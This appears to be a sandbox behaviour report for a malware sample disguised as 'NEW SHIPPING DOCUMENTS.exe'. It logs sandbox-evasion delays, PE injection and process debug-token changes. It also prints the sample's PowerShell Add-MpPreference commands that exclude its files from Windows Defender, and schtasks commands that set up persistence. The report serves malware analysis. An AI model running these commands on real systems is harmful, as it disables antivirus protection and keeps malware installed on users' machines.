Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99871	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99750	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99418	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98541	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98218	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98109	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 97890	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 97780	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199954	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199828	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199719	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199609	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199500	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199391	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199281	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199172	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199063	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198938	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198813	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198688	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198578	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198469	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198344	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198234	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198125	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197989	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197846	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197719	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197609	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197500	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197391	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197266	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197141	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197031	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1196922	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1196813	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1196688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 99891
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 99780
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 99672
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 99562
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 99453
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 99315
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 99105
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98985
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98860
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98735
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98610
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98485
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98360
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98235
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 98110
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 97985
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 97860
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199953
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199843
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199734
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199625
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199515
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199405
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199296
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199187
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199078
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198949
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198610
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198484
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198375
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198265
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198156
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198047
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197937
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197828
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197718
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197609
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197499
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197390
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197280
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197171
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197062
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196953
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196843
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196734
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196625
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196514
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196400
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196281

Source: NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4585815980.0000000001690000.00000004.00000020.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4584327330.0000000001285000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\RvUJzKx.exe"
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\RvUJzKx.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Memory written: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory written: C:\Users\user\AppData\Roaming\RvUJzKx.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\RvUJzKx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process created: C:\Users\user\AppData\Roaming\RvUJzKx.exe "C:\Users\user\AppData\Roaming\RvUJzKx.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
